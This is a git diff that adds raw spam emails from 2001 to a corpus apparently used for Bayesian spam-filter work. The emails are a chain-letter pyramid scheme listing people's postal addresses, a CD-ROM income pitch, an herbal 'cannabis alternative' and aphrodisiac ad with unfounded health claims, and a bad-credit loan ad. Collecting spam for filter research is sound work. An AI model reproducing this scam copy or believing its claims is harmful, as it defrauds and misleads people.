bless you. + + +Best regard, + +MRS. REGINA ROSSMAN. + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00038.906d76babc3d78d6294c71b1b52d4d7f b/bayes/spamham/spam_2/00038.906d76babc3d78d6294c71b1b52d4d7f new file mode 100644 index 0000000..1178d6f --- /dev/null +++ b/bayes/spamham/spam_2/00038.906d76babc3d78d6294c71b1b52d4d7f @@ -0,0 +1,60 @@ +From NetFriend@aol.com Thu Jun 28 21:24:52 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from cmnhub01.colliers.com (cmnhub01.colliers.com + [209.167.55.243]) by mail.netnoteinc.com (Postfix) with ESMTP id + 0E0A6130028 for ; Thu, 28 Jun 2001 21:24:52 +0100 (IST) +Received: from cmnfw02.cmncanada.com ([192.168.10.2]) by + cmnhub01.colliers.com (Lotus Domino Release 5.0.6a) with SMTP id + 2001062815511946:12258 ; Thu, 28 Jun 2001 15:51:19 -0400 +From: NetFriend@aol.com +To: oolas@Cybertizens@msn.net +Reply-To: r4sm@bigfoot.com +Subject: Making Serious Money Has Never Been This Easy! [jodra] +X-Mimetrack: Itemize by SMTP Server on CMNHUB01/CMN(Release 5.0.6a + |January 17, 2001) at 06/28/2001 03:51:19 PM, Serialize by Router on + CMNHUB01/CMN(Release 5.0.6a |January 17, 2001) at 06/28/2001 04:15:39 PM, + Serialize complete at 06/28/2001 04:15:39 PM +Date: Thu, 28 Jun 2001 15:51:19 -0400 +Message-Id: +MIME-Version: 1.0 + + +NEW CD ROM is helping to Create HUGE FORTUNES!! + +Free Info: + +* What if you could make a full time income handing/sending + out a $1.25 CD ROM? + +* What if the company paid you EVERY DAY? + +* What if it was a New York Stock Exchange Company? + +* What if there was no "real" competition, and everybody + needs our service? + +* What if you got paid when somebody goes to your website + and views the hottest video presentation ever and signs up? + + +If you are the least bit curious about why this CD ROM +is making us Fortunes!! + +All you need to do is simply: + +1.Send an email to: mailto:tim33u2@n2mail.com?subject=CD_ROM + +2. Put " CD ROM " in the subject heading + +We will email you all you need to know to get signed up +and making money TODAY!!! + +Waiting to hear from you soon! +GA + +PS.. Please put "Remove" in subject line to get out +of this list. Thanks. + + + diff --git a/bayes/spamham/spam_2/00039.1295593cb1da98e80123f333def0b8dd b/bayes/spamham/spam_2/00039.1295593cb1da98e80123f333def0b8dd new file mode 100644 index 0000000..c60f939 --- /dev/null +++ b/bayes/spamham/spam_2/00039.1295593cb1da98e80123f333def0b8dd @@ -0,0 +1,334 @@ +From NbbvxDR4V@sympatico.ca Thu Jun 28 14:57:41 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from smtp05.retemail.es (smtp05.iddeo.es [62.81.186.15]) by + mail.netnoteinc.com (Postfix) with ESMTP id A5E8013002A for + ; Thu, 28 Jun 2001 14:57:39 +0100 (IST) +Received: from Ku0wW19W9 ([62.81.31.62]) by smtp05.retemail.es (InterMail + vM.5.01.03.02 201-253-122-118-102-20010403) with SMTP id + <20010628135731.GRKN10274.smtp05.retemail.es@Ku0wW19W9>; Thu, + 28 Jun 2001 15:57:31 +0200 +Date: 28 Jun 01 10:05:15 PM +From: NbbvxDR4V@sympatico.ca +Message-Id: <3DlzeX5SbSIeEh0> +To: Awesome@Awesome.com +Subject: Real Money Maker for Real! + + + + +Dear Friends & Future Millionaire: + +AS SEEN ON NATIONAL TV: +Making over half million dollars every 4 to 5 months from your home for +an investment of only $25 U.S. Dollars expense one time +THANK'S TO THE COMPUTER AGE AND THE INTERNET ! + +================================================== + +BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! + +Before you say ''Bull'', please read the following. This is the letter you +have been hearing about on the news lately. Due to the popularity of +this letter on the Internet, a national weekly news program recently devoted +an entire show to the investigation of this program described below, to see +if it really can make people money. The show also investigated whether or +not the program was legal. + +Their findings proved once and for all that there are ''absolutely NO Laws +prohibiting the participation in the program and if people can -follow the +simple instructions, they are bound to make some mega bucks with only +$25 out of pocket cost''. DUE TO THE RECENT INCREASE OF +POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED, +IT IS CURRENTLY WORKING BETTER THAN EVER. + +This is what one had to say: ''Thanks to this profitable opportunity. I +was approached many times before but each time I passed on it. I am +so gladI finally joined just to see what one could expect in return for the +minimal effort and money required. To my astonishment, I received total $ +610,470.00 in 21 weeks, with money still coming in." +Pam Hedland, Fort Lee, New Jersey. + +=================================================== + +Here is another testimonial: "This program has been around for a long +time but I never believed in it. But one day when I received this again +in the mail I decided to gamble my $25 on it. I followed the simple +instructions and walaa ..... 3 weeks later the money started to come in. +First month I only made $240.00 but the next 2 months after that I made +a total of $290,000.00. So far, in the past 8 months by re-entering the +program, I have made over $710,000.00 and I am playing it again. The +key to success in this program is to follow the simple steps and NOT change +anything.'' More testimonials later but first, + +===== PRINT THIS NOW FOR YOUR FUTUREREFERENCE ====== + +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ +If you would like to make at least $500,000 every 4 to 5 months easily and +comfortably, please read the following...THEN READ IT AGAIN and AGAIN!!! +$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ + +FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL +DREAMS WILL COME TRUE, GUARANTEED! INSTRUCTIONS: + +=====Order all 5 reports shown on the list below ===== + +For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT +YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose +name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN +ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail +problems. + +=== When you place your order, make sure you order each of the 5 reports. +You will need all 5 reports so that you can save them on your computer +and resell them. YOUR TOTAL COST $5 X 5=$25.00. + +Within a few days you will receive, vie e-mail, each of the 5 reports from +these 5 different individuals. Save them on your computer so they will be +accessible for you to send to the 1,000's of people who will order them +from you. Also make a floppy of these reports and keep it on your desk in +case something happen to your computer. + +IMPORTANT - DO NOT alter the names of the people who are listed next +to each report, or their sequence on the list, in any way other than what is +instructed below in step '' 1 through 6 '' or you will loose out on majority +of your profits. Once you understand the way this works, you will also see +how it does not work if you change it. Remember, this method has been +tested, and if you alter, it will NOT work !!! People have tried to put their +friends/relatives names on all five thinking they could get all the money. But +it does not work this way. Believe us, we all have tried to be greedy and then +nothing happened. So Do Not try to change anything other than what is +instructed. Because if you do, it will not work for you. + +Remember, honesty reaps the reward!!! + +1.... After you have ordered all 5 reports, take this advertisement and +REMOVE the name & address of the person in REPORT # 5. This person +has made it through the cycle and is no doubt counting their fortune. +2.... Move the name & address in REPORT # 4 down TO REPORT # 5. +3.... Move the name & address in REPORT # 3 down TO REPORT # 4. +4.... Move the name & address in REPORT # 2 down TO REPORT # 3. +5.... Move the name & address in REPORT # 1 down TO REPORT # 2 +6.... Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE +SURE you copy every name & address ACCURATELY! + +========================================================== + +**** Take this entire letter, with the modified list of names, and save it on your +computer. DO NOT MAKE ANY OTHER CHANGES. +Save this on a disk as well just in case if you loose any data. To assist you with +marketing your business on the internet, the 5 reports you purchase will provide +you with invaluable marketing information which includes how to send bulk +e-mails legally, where to find thousands of free classified ads and much more. +There are 2 Primary methods to get this venture going: +METHOD # 1: BY SENDING BULK E-MAIL LEGALLY + +========================================================== + +Let's say that you decide to start small, just to see how it goes, and we will +assume You and those involved send out only 5,000 e-mails each. Let's +also assume that the mailing receive only a 0.2% response (the response +could be much better but lets just say it is only 0.2%. Also many people +will send out hundreds of thousands e-mails instead of only 5,000 each). +Continuing with this example, you send out only 5,000 e-mails. With a 0.2% +response, that is only 10 orders for report # 1. Those 10 people responded +by sending out 5,000 e-mail each for a total of 50,000. Out of those 50,000 +e-mails only 0.2% responded with orders. That's=100 people responded and +ordered Report # 2 +. +Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. +The 0.2% response to that is 1000 orders for Report # 3. + +Those 1000 people send out 5,000 e-mails each for a total of 5 million e-mails +sent out. The 0.2% response to that is 10,000 orders for Report # 4. + +Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 +(50 million) e-mails. The 0.2% response to that is 100,000 orders for Report +# 5 + THAT'S 100,000 ORDERS TIMES $5 EACH=$500,000.00 (half million). + +Your total income in this example is: 1..... $50 + 2..... $500 + 3..... $5,000 + 4 +... $50,000 + 5..... $500,000 ........ Grand Total=$555,550.00 + +NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGUREOUT +THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU +CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY ! + +========================================================= + +REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE +ORDERING OUT OF 5,000 YOU MAILED TO. +Dare to think for a moment what would happen if everyone or half or even +one 4th of those people mailed 100,000e-mails each or more? There are +over 150 million people on the Internet worldwide and counting. Believe me, +many people will do just that, and more! +METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET + +======================================================= + +Advertising on the net is very very inexpensive and there are hundreds +of FREE places to advertise. Placing a lot of free ads on the Internet will +easily get a larger response. We strongly suggest you start with Method # 1 +and dd METHOD # 2 as you go along. For every $5 you receive, all you +must do is e-mail them the Report they ordered. That's it. Always provide +same day service on all orders. +This will guarantee that the e-mail they send out, with your name and +address on it, will be prompt because they can not advertise until they +receivethe report. + +=========== AVAILABLE REPORTS ==================== + +ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: +Always send $5 cash (U.S. CURRENCY) for each Report. Checks NOT +accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets +of paper. On one of those sheets of paper, Write the NUMBER & the NAME +of the Report you are ordering, YOUR E-MAIL ADDRESS and your name +and postal address. + +PLACE YOUR ORDER FOR THESE REPORTS NOW : + +==================================================== + +REPORT # 1: "The Insider's Guide to Advertising for Free on the Net" +Order Report #1 from: + + A. Christ +1208 Allendale Rd. +Mechanicsburg, PA 17055 + +___________________________________________________________ +REPORT # 2: "The Insider's Guide to Sending Bulk e-mail on the Net" +Order Report # 2 from: + + Michael P. + 2508 Robin + Altus, OK 73521 + USA +____________________________________________________________ +REPORT # 3: "Secret to Multilevel Marketing on the Net" +Order Report # 3 from : + +D. J. +16 Northcrest Dr. +London, ONTARIO, CANADA +N5X 3V8 +__________________________________________________________ +REPORT # 4: "How to Become a Millionaire Utilizing MLM & the Net" +Order Report # 4 from: + +E. Zurbrigg +RR #1 +St. Marys, ON, Canada +N4X 1C4 + + +____________________________________________________________ +REPORT #5: "How to Send Out 0ne Million e-mails for Free" +Order Report # 5 from: + +A. Ebert +R. R. #4 +Thamesford, Ontario, Canada +N0M 2M0 + +____________________________________________________________ +$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ + +Follow these guidelines to guarantee your success: + +=== If you do not receive at least 10 orders for Report #1 within 2 +weeks, continue sending e-mails until you do. +=== After you have received 10 orders, 2 to 3 weeks after that you +should receive 100 orders or more for REPORT # 2. If you did not, +continue advertising or sending e-mails until you do. +=== Once you have received 100 or more orders for Report # 2, YOU +CAN RELAX, because the system is already working for you, and the +cash will continue to roll in ! THIS IS IMPORTANT TO REMEMBER: +Every time your name is moved down on the list, you are placed in front +of a Different report. +You can KEEP TRACK of your PROGRESS by watching which report +people are ordering from you. IF YOU WANT TO GENERATE MORE +INCOME SEND ANOTHER BATCH OF E-MAILS AND START +THE WHOLE PROCESS AGAIN. +There is NO LIMIT to the income you can generate from this business !!! + +====================================================== + +FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS +PROGRAM: You have just received information that can give you +financial freedom for the rest of your life, with NO RISK and JUST +A LITTLE BIT OF EFFORT. You can make more money in the next +few weeks and months than you have ever imagined. Follow the program +EXACTLY AS INSTRUCTED. Do Not change it in any way. It works +exceedingly well as it is now. +Remember to e-mail a copy of this exciting report after you have put +your name and address in Report #1 and moved others to #2 ...........# 5 +as instructed above. One of the people you send this to may send out +100,000 or more e-mails and your name will be on every one of them. +Remember though, the more you send out the more potential customers +you will reach. +So my friend, I have given you the ideas, information, materials and +opportunity to become financially independent. IT IS UP TO YOU NOW ! + +============ MORE TESTIMONIALS ================ + +"My name is Mitchell. My wife, Jody and I live in Chicago. I am an +accountant with a major U.S. Corporation and I make pretty good money. +When I received this program I grumbled to Jodyaboutreceiving ''junk +mail''. I made fun of the whole thing,spoutingmy knowledge of the population +and percentages involved. I ''knew'' it wouldn't work. Jody totally ignored +my supposed intelligence and few days later she jumped in with both feet. I +made merciless fun of her, and was ready to lay the old ''I told you so'' on +her when the thing didn't work. Well, the laugh was on me! Within 3 weeks +she had received 50 responses. Within the next 45 days she had received +total $ 147,200.00 ........... all cash! I was shocked. I have joined Jody +in her ''hobby''. +Mitchell Wolf M.D., Chicago, Illinois + +====================================================== + +''Not being the gambling type, it took me several weeks to make up my +mind to participate in this plan. But conservative that I am, I decided that +the initial investment was so little that there was just no way that I +wouldn't get enough orders to at least get my money back''. '' I was +surprised when I found my medium size post office box crammed with +orders. I made $319,210.00in the first 12 weeks. The nice thing about +this deal is that it does not matter where people live. There simply isn't a +better investment with a faster return and so big." +Dan Sondstrom, Alberta, Canada + +======================================================= + +''I had received this program before. I deleted it, but later I wondered +if I should have given it a try. Of course, I had no idea who to contact to +get another copy, so I had to wait until I was e-mailed again by someone +else.........11 months passed then it luckily came again...... I did not +delete this one! I made more than $490,000 on my first try and all the +money came within 22 weeks." +Susan De Suza, New York, N.Y. + +======================================================= + +''It really is a great opportunity to make relatively easy money with +little cost to you. I followed the simple instructions carefully and +within 10 days the money started to come in. My first month I made +$20,560.00 and by the end of third month my total cash count was +$362,840.00. Life is beautiful, Thanx to internet.". +Fred Dellaca, Westport, New Zealand + +======================================================= +ORDER YOUR REPORTS TODAY AND GET STARTED ON +'YOUR' ROAD TO FINANCIAL FREEDOM ! +======================================================= + +If you have any questions of the legality of this program, contact the +Office of Associate Director for Marketing Practices, Federal Trade +Commission, Bureau of Consumer Protection, Washington, D.C. + + +(Note: To avoid delays make sure appropriate postage to Canada is applied if mailing from the US) + +To be removed: moretips2000@yahoo.com Subject: Remove + + + diff --git a/bayes/spamham/spam_2/00040.d9570705b90532c2702859569bf4d01c b/bayes/spamham/spam_2/00040.d9570705b90532c2702859569bf4d01c new file mode 100644 index 0000000..6d8bfcb --- /dev/null +++ b/bayes/spamham/spam_2/00040.d9570705b90532c2702859569bf4d01c @@ -0,0 +1,193 @@ +From sflvx@mail.ru Fri Jun 29 01:52:28 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from smtp.easydns.com (ns1.easydns.com [216.220.40.243]) by + mail.netnoteinc.com (Postfix) with ESMTP id CC22E130028; Fri, + 29 Jun 2001 01:52:26 +0100 (IST) +Received: from hutec-ns.hti.co.jp (mail@hutec-ns.hti.co.jp + [210.161.236.18]) by smtp.easydns.com (8.11.3/8.11.0) with ESMTP id + f5SNWfQ19159; Thu, 28 Jun 2001 19:32:42 -0400 +Received: from (myrop) [207.173.146.105] by hutec-ns.hti.co.jp with smtp + (Exim 2.05 #1 (Debian)) id 15FkSL-0005Vr-00; Fri, 29 Jun 2001 07:40:15 + +0900 +Message-Id: <000053e452bb$00005687$00003222@mindspring + (user-3qt5hn.dialup.mindspring.com[99.174.150.55]) by smtp6.mindspring.com + (8.9.3/8.8.5) with SMTP id OAA06398 from 110140321worldnet.att.net + ([102.70.21.32]) by mtiwmhc98.worldnet.att.net (InterMail v03.02.07.07 + 118-134) with SMTP id<20090116195452.ZOMX28505@110940321worldnet.att.net>> +To: +From: sflvx@mail.ru +Subject: Have You Never Been Mellow? +Date: Thu, 28 Jun 2001 15:21:10 -0700 +X-Priority: 3 +X-Msmail-Priority: Normal +Errors-To: millinercf@concentric.net +X-Mailer: Mozilla 4.72 [en] (Win98; U) + + +Greetings & Blessings To You! + +Offering for your "Sensitive" Delight: + +1. "Seventh Heaven" Kathmandu Temple Kiff (tm); a viripotent cannabis alternative for blissful regressions of vexatious depressions... + +2. Sweet Vjestika Aphrodisia Drops (tm); An erotic aphrodisia; sexual intensifier / enhancer liquid amalgamated extract for MEN and WOMEN. + +3. "Seventh Heaven" Prosaka Tablets (tm); a botanical alternative to pharmaceutical medications for calm, balance, serenity and joyful living... + +4. "Seventh Heaven" Gentle Ferocity Tablets (tm); a most efficacious, non-caffeine, non-ephedrine, non-MaHuang botanical energizer and cutting-edge appetite suppressant... + +********************************************* +Kathmandu Temple Kiff is a proprietary; Nepalese, sensitive, pipe-smoking/stoking substance. Kathmandu Temple Kiff is indeed the most substantial marijuana/cannabis alternative on the planet. + +Absolutely Legal! Marvelously Potent! + +Kathmandu Temple Kiff possesses all of the positive virtues fine ganja/cannabis without any of the negatives. An amalgamation of high concentrates of rare euphoric herbas, Kathmandu is offered in a solid jigget/bar format and is actually more UPLIFTING & POISED than cannabis / marijuana while rendering Euphoria, Happiness, Mood-Enhancement, Stress/Depression Relief and promoting contemplativeness, creativity, better sleep, lucid dreaming ... and enhancing the sexual experience!!! + +Kathmandu Temple Kiff is simply the best and just a little pinch/snippet of the Kathmandu goes a long, "sensitive" way. Just 4 or 5 draws of the pipe ... (an herb pipe included with each package of Kathmandu Temple Kiff). + +PLEASE NOTE: Although no botanical factor in Kathmandu Temple Kiff is illegal or considered to be harmful by regulatory agencies and no tobacco is included therein, it is the policy of our company that Kathmandu Temple Kiff may not be offered or sold to any person that has not attained at least 21 years of age. + +Ingredients: + +Kathmandu Temple Kiff is both a euphoriant and an uplifting, calmative relaxant that offers scintillating physical and cerebral ambiance enhancement. Kathmandu Temple Kiff is a proprietary, prescribed amalgamation which includes the following synergistically, synesthesia conglomerated, uncommon herbs, resins, essences, flower-tops and oils in extreme ratio extractment ranging from 8.5 to 1. to 60 to 1, viripotent concentrations : Drachasha, Chavana Prash, Trikatu, Black Seed Herb, Capillaris Herba, Angelica Root, Wild Dagga, Haritaki, Shatavari, Labdunum, Neroli, Unicorn Root, Papaver Rhoes, Dendrobian, Calea Zacalechichi, Rue, Amla, Salvia Divinorum, Crocus Sativa, Lotus and Gokshura. + +********************************************* + +SWEET VJESTIKA APHRODISIA DROPS (tm) TANTRA PLEASURE SACRAMENT + +Indeed; a HeavenSent Treasure of Pleasure!! + +To entice your Passion, +To intrigue your Desire, +Enchantment's Rapture; +Sweet Vjestika Fire.... + +SWEET VJESTIKA APHRODISIA DROPS EXTRAVAGANTLY INSPIRES AND ENHANCES: + +*Penile & clitoral sensitivity +*Sensitivity to touch +*Desire to touch +*Desire to be touched +*Fantasy +*Lust +*Rapture +*Erogenous sensitivity +*Uninhibitedness +*Sexual courageousness +*Sexual gentleness and ferocity + +SWEET VJESTIKA APHRODISIA DROPS(tm) + +*Prolongs and intensifies foreplay; +*Prolongs and intensifies orgasm / climax; +*Inspires body, mind, spirit orgasm / climax; +*Inspires and enhances body, mind, spirit communion betwixt lovers; +*Inspires and enhances the enchantment / glamourie of Love.... + +Sweet Vjestika is a Chimera Tantric proprietary glamourie / enchantment Fantasia Amalgamation for men and women, comprised of high ratio extracts derived from the following Herbs of Power which are master blended to emphasis extravaganza body, mind, spirit erogenous sensory awareness and gourmet carnal delight. + +CONTENTS: + +Whole MaHuang, Bee Pollen, Epimedium Angelica, Rehmannia, Ginger, Schizandra, Polygonatum, Adenophora, Tremella, Tang Kuei, Reishi, Codonopsis, Eucommium, Lycii Berry, Ligusticum, Peony Root, Fo Ti, Atractylodes, Ophiopogon, Royal Jelly, Euryales Seeds, Poria, Licorice, Mountain Peony Bark, Cormi Fruit, Rose Hips, Prince Ginseng, Scrophularia, Alisma, Astragalus, Fennel, Buplerium, Cypera, Aconite, Polygala, Red Sage Root, Jujube Seed, Lotus Seed, Tien Chi Ginseng, Ligus Ticum, Psoralea, Dodder Seed, and Cisthanches in a solution containing 24% pure grain alcohol as a preservative, distilled water and Lecithen as an emulsifier. + +SUGGESTED USAGE: + +Sweet Vjestika is extremely potent. Use 10 – 15 drops sublingually or in juice or tea, not to exceed 25 drops. Best when taken upon an empty stomach approx. 45 minutes before intimacy. Based upon 25 – drop increments there are approx. 60 dosages per 1 oz. bottle. Usage should not exceed 2 doses per week. Persons taking any precsription medication or suffering from depression or anxiety, should consult with their health care provider before using. This product is not intented for usage by persons with abnormal blood pressure or any cardiovascular malady or any thyroid dysfunction. Nor is it to be used during pregnancy or by any person under 21 years of age. + +********************************************* +Also for your sensitive mellowness.... "Seventh Heaven" Prosaka Tablets are an entirely natural, proprietary, botanical prescription comprised of uncommon Asian Herbs for Calm, Balance, Serenity and Joyful Living. "Seventh Heaven" Prosaka is indeed a most extraordinary, viripotent, calming, centering, mood-enhancing, holistically-formulated, exotic herbaceous alternative to pharmaceutical medications for depression, anxiety, stress, insomnia, etc. + +NO side effects! NO dependency! Vivaciously Mellow! + +There is ABSOLUTELY nothing else quite like "Seventh Heaven" Prosaka (tm). + +Ingredients: + +Seventh Heaven Prosaka tablets contain the following herbal factors in precise prescription: Tadix Salviae, Sensitive Mimosa Bark, Arullus Euphoriae, Shizandra, Frutcus Mori, Caulis, Polygoni Multiflori, Zizphus, Tang Kuei, Cedar Seed, Sweetflag Rhizome, Cuscutae, Amber, Radix Scutellariae, Evodia, Longan, Arizisaema, Cistanches, Radix Polygalae, Red Sage Root and Eucommia. Recommended dosage: 1-2 tablets; 2-3 times per day. + +********************************************** +Also.... for your "Sensitive" "Pure Energy" Energization.... "Seventh Heaven" Gentle Ferocity Tablets (tm). A "Seventh Heaven" non-caffeine, non-ephedrine, non-ephedra, non-MaHuang; viripotent, herbaceous prescription for the dynamic energization of body, mind and spirit. + +This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/herbal alkaloids and glycosides interacting with one another to prolificate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! + +Attention! Attention!! + +For those of you who seek to achieve most demonstrative/non-invasive/non-prohibitive appetite suppression without the negative implications of ongoing usage of MaHuang Herb, Ephedra/Ephedrine or Caffeine as are so magnaminously utilized in a multitude of herbal "diet aids" entitled as "Thermogenics" ... this is ABSOLUTELY the herbal agenda/product for you!! + +Entirely Natural! Increases Energy! Increases Metabolism! Decreases Appetite! + +Contents: + +Each Gentle Ferocity Tablet contains 500 mg. of the following proprietary formulated, high-ratio concentrated botanical factors ... Cortex Eucommiae, Radex Polygoni Multiflori, Zizyphus Seed, Fructus Schisandrae, Radix Panax Ginseng, Radix Astragali, Atractylode, Sclerotium, Porial Cocos, Saussurea Tang Kuei, Longan, Radix Paeoniae, Biota Seeds, Glehnia, Radix Salviae, Ligusticum, Lycu Berry, Radix Dioscoreae, Cortex Mouton, Frutcus Corni, Radix Polygalae, Cistanches, Radix Pseudoslellariae and Cortex Aranthopanacis. Recommended dosage: One to two +tablets as needed. + +======================================== +PRICING INFORMATION: + +1. SEVENTH HEAVEN KATHMANDU TEMPLE KIFF (tm) + +One .75 oz. jigget/bar $65.00 +One 2.0 oz. jigget/bar $115.00 (Free Capillaris Herba with 2.0 oz. bar. Refer to Capillaris paragraph at end of text) + +2. SWEET VJESTIKA APHRODISIA DROPS (tm) + +One 1.0 oz. bottle $90.00 +Two 1.0 oz. bottles $140.00 + +3. SEVENTH HEAVEN PROSAKA (tm) + +One 100 tablet tin $40.00 +Three 100 tablet tins $105.00 +Six 100 tablet tins $185.00 + +4. SEVENTH HEAVEN GENTLE FEROCITY (tm) + +One 300 tablet jar $130.00 + +5. SWEET APHRODISIA INTRO COMBINATION OFFER + +Includes one, 2.0 oz. jigget/bar of Kathmandu Temple Kiff & one, 1 oz. bottle of Sweet Vjestika Aphrodisia Drops. For $150.00 (Reg. $205.00 Save $55) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +6. BODY, MIND, SPIRIT "HEAVENLY" INTRO COMBINATION OFFER + +Includes one, 2.0 oz. jigget/bar of Kathmandu Temple Kiff & 1 tin (100 tablets) of Seventh Heaven Prosaka. For $125.00 (Reg. $155.00 Save $30) (Free Capillaris Herba with this intro offer. Refer to Capillaris paragraph at end of text) + +7. "PURE ENERGY" INTRO COMBINATION OFFER + +Includes one, 2.0 oz. jigget/bar of Kathmandu Temple Kiff & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity. For $170.00 (Reg. $245.00 Save $75) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text) + +8. "SENSITIVE" PREFERENTIAL INTRO COMBINATION OFFER + +Includes one, 2.0 oz. jigget/bar of Kathmandu Temple Kiff & 1 tin (100 tablets) of Seventh Heaven Prosaka & 1 jar (300 tablets) of Seventh Heaven Gentle Ferocity For $200.00 (Reg. $285.00 Save $85) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +9. ULTIMATE HERBACEOUSNESS INTRO COMBINATION OFFER + +Includes one - 2.0 oz. jigget / bar of Kathmandu Temple Kiff, one - 1 oz. bottle of Sweet Vjestika Aphrodisia Drops, one - 100 tablet tin of Prosaka, and one - 300 count jar of Gentle Ferocity for a deep discounted Retail Price of $260.00 (Reg. $375.00 Save $115) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) + +SPECIAL OFFER: For a limited time only, you will receive a FREE personal brass hookah with the Ultimate Herbaceous Intro Offer as our gift to you. This hookah has a retail value of $25.00. + +************************************************** +ORDERING INFORMATION: + +For your convenience, you can call us direct with your orders or questions. + +Call 1-623-972-5999 + +Mon. – Fri. 10:30 am to 7:00 pm (MT) +Sat. - 11:00 am to 3:00 pm (MT) + +For all domestic orders, add $5.00 shipping & handling (shipped U.S. Priority Mail). Add $20.00 for International orders. + +LIVE sales associates are awaiting your call. Be sure to ask about our brand new offering, Equivalence Tablets and Dragon Wing Remedy Spray. These "Dynamic Duo" products are without peer for managing pain due to problems such as chronic pain, Fibromyalgia and Arthritis! + + +************************************************** +SPECIAL DISCOUNT & GIFT + +Call now and receive a FREE botanical gift! With every order for a 2.0 oz. jigget / bar of Kathmandu Temple Kiff or one of our four (4) Intro Combination Offers, we will include as our free gift to you ... a 2.0 oz. package of our ever so sedate, sensitive Asian import, loose-leaf Capillaris Herba for "happy" smoking or brewing ... (a $65.00 retail value). + +==================================================== +To be removed from this mailing list, send an email with REMOVE in the subject line to: gordon795@runbox.com + + diff --git a/bayes/spamham/spam_2/00041.1b8dedcc43e75c0f4cd5e0d12c4eea8b b/bayes/spamham/spam_2/00041.1b8dedcc43e75c0f4cd5e0d12c4eea8b new file mode 100644 index 0000000..d42cd4b --- /dev/null +++ b/bayes/spamham/spam_2/00041.1b8dedcc43e75c0f4cd5e0d12c4eea8b @@ -0,0 +1,45 @@ +From prin3cu34@mochamail.com Sun Jul 1 06:04:42 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from nts1.wonline.co.kr (unknown [210.114.174.182]) by + mail.netnoteinc.com (Postfix) with SMTP id B7D3611436F; Sun, + 1 Jul 2001 06:04:40 +0100 (IST) +Received: from pob23uifesi.cc.org.ar (unverified [64.24.150.198]) by + nts1.wonline.co.kr (EMWAC SMTPRS 0.83) with SMTP id + ; Sun, 01 Jul 2001 13:57:38 +0900 +Message-Id: <000012024583$000011d7$0000742f@pob23uifesi.cic.org.ar + ([61.418.316.4]) by ris5s2.daidacent14sere1.chua.cesaimtv.net.ie + (8.9.1a/8.9.1/1.0) with SMTP id NAE11975 ([217.45.256.4])> +To: +From: prin3cu34@mochamail.com +Subject: Home loans of all types! +Date: Thu, 28 Jun 2001 19:47:48 -0400 +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal + + + +We are Loan Specialists.....Tap into our huge network of Lenders! + +For U.S.A. Homeowners Only + +Interest Rates have Dropped....Start Saving Now! + +We Will Shop The Best Loan For You! + +Are you in debt? Need extra cash? We can get you the loan you need. Regardless +of whether you have good or bad credit, we can help you.We specialize in First +and Second Mortgages, including loans that other lenders turn down. Funding +borrowers with less than perfect credit is our specialty. We have loan programs +that are unheard of. + +CLICK HERE FOR ALL DETAILS http://usuarios.tripod.es/loan26/mort15.html + +=================================================================== +REMOVAL INSTRUCTIONS: You may automatically remove yourself from any future mailings +by clicking here. mailto:geoposti@uole.com?subject=delete-mort + + + diff --git a/bayes/spamham/spam_2/00042.534ed9af47ca4349d84bc574a4306284 b/bayes/spamham/spam_2/00042.534ed9af47ca4349d84bc574a4306284 new file mode 100644 index 0000000..e902619 --- /dev/null +++ b/bayes/spamham/spam_2/00042.534ed9af47ca4349d84bc574a4306284 @@ -0,0 +1,598 @@ +From aifrik@corpusmail.com Fri Jun 29 02:51:20 2001 +Return-Path: +Delivered-To: yyyy@netnoteinc.com +Received: from smtp.easydns.com (ns1.easydns.com [216.220.40.243]) by + mail.netnoteinc.com (Postfix) with ESMTP id 70599130028; Fri, + 29 Jun 2001 02:51:18 +0100 (IST) +Received: from egon.instakom.ch (client197-202.hispeed.ch [62.2.197.202]) + by smtp.easydns.com (8.11.3/8.11.0) with ESMTP id f5T1pEa11156; + Thu, 28 Jun 2001 21:51:14 -0400 +Received: from Artic.net (ip-129-9.newgen.net.ph [202.171.129.9]) by + egon.instakom.ch with SMTP (Microsoft Exchange Internet Mail Service + Version 5.5.2653.13) id NLZTAG1Q; Fri, 29 Jun 2001 03:48:31 +0200 +Message-Id: <0000382d3858$0000403d$00007ce9@Artic.net> +To: <174@portugalmail.com> +From: aifrik@corpusmail.com +Subject: FW: +Date: Thu, 28 Jun 2001 